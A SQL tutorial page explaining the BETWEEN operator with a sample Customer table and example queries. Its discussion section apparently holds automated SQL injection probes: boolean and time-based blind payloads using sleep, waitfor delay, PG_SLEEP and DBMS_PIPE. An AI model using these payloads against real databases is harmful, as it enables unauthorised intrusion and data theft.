SQL Between Operator
The SQL Between operator is used to select a value between a given range. Values can be text, dates, or numbers. The Between operator can be used with the SELECT, INSERT, UPDATE, or DELETE statements.
Between Operator Syntax :
The syntax of the Between Operator is −
The SQL BETWEEN Operator will return records between the range( values1 and value2 ).
SELECT column_name(s)
FROM table_name
WHERE column_name BETWEEN value1 AND value2;
BETWEEN Operator Example :
Consider the Customer table with the following records -
CustomerID |
CustomerName |
Age |
Address |
CustomerSalary |
1 |
Aarav |
36 |
Udaipur |
50000 |
2 |
Vivaan |
33 |
Mumbai |
30025 |
3 |
Reyansh |
28 |
Chennai |
35050 |
4 |
Muhammad |
29 |
Udaipur |
50075 |
5 |
Sai |
27 |
Mumbai |
27050 |
TEST CASE 1 :- The following code is an example, which would fetch the record from Customer table where Age is BETWEEN 20 to 30.
SELECT * FROM Customer
WHERE Age BETWEEN 20 AND 30;
The result for the respective sql query is as follows −
CustomerID |
CustomerName |
Age |
Address |
CustomerSalary |
3 |
Reyansh |
28 |
Chennai |
35050 |
4 |
Muhammad |
29 |
Udaipur |
50075 |
5 |
Sai |
27 |
Mumbai |
27050 |
TEST CASE 2:- The following code is an example, which would fetch the record from Customer table where Age is NOT BETWEEN 20 to 30.
SELECT * FROM Customer
WHERE Age NOT BETWEEN 20 AND 30;
The result for the respective sql query is as follows −
CustomerID |
CustomerName |
Age |
Address |
CustomerSalary |
1 |
Aarav |
36 |
Udaipur |
50000 |
2 |
Vivaan |
33 |
Mumbai |
30025 |
Visit :
Discussion
pHqghUme
-1 OR 2+493-493-1=0+0+0+1 --
pHqghUme
-1 OR 3+493-493-1=0+0+0+1 --
pHqghUme
-1 OR 3*2<(0+5+493-493) --
pHqghUme
-1 OR 3*2>(0+5+493-493) --
pHqghUme
-1 OR 2+103-103-1=0+0+0+1
pHqghUme
-1 OR 3+103-103-1=0+0+0+1
pHqghUme
-1 OR 3*2<(0+5+103-103)
pHqghUme
-1 OR 3*2>(0+5+103-103)
pHqghUme
-1' OR 2+664-664-1=0+0+0+1 --
pHqghUme
-1' OR 3+664-664-1=0+0+0+1 --
pHqghUme
-1' OR 3*2<(0+5+664-664) --
pHqghUme
-1' OR 3*2>(0+5+664-664) --
pHqghUme
-1' OR 2+255-255-1=0+0+0+1 or 'VbvP4yU0'='
pHqghUme
-1' OR 3+255-255-1=0+0+0+1 or 'VbvP4yU0'='
pHqghUme
-1' OR 3*2<(0+5+255-255) or 'VbvP4yU0'='
pHqghUme
-1' OR 3*2>(0+5+255-255) or 'VbvP4yU0'='
pHqghUme
-1" OR 2+744-744-1=0+0+0+1 --
pHqghUme
-1" OR 3+744-744-1=0+0+0+1 --
pHqghUme
-1" OR 3*2<(0+5+744-744) --
pHqghUme
-1" OR 3*2>(0+5+744-744) --
pHqghUme
if(now()=sysdate(),sleep(15),0)
pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
-1; waitfor delay '0:0:15' --
pHqghUme
-1); waitfor delay '0:0:15' --
pHqghUme
1 waitfor delay '0:0:15' --
pHqghUme
F9nDI5uU'; waitfor delay '0:0:15' --
pHqghUme
-5 OR 800=(SELECT 800 FROM PG_SLEEP(15))--
pHqghUme
-5) OR 470=(SELECT 470 FROM PG_SLEEP(15))--
pHqghUme
-1)) OR 927=(SELECT 927 FROM PG_SLEEP(15))--
pHqghUme
On7wK0NK' OR 170=(SELECT 170 FROM PG_SLEEP(15))--
pHqghUme
ecxYlFI0') OR 768=(SELECT 768 FROM PG_SLEEP(15))--
pHqghUme
Ey2NmTSG')) OR 36=(SELECT 36 FROM PG_SLEEP(15))--
pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'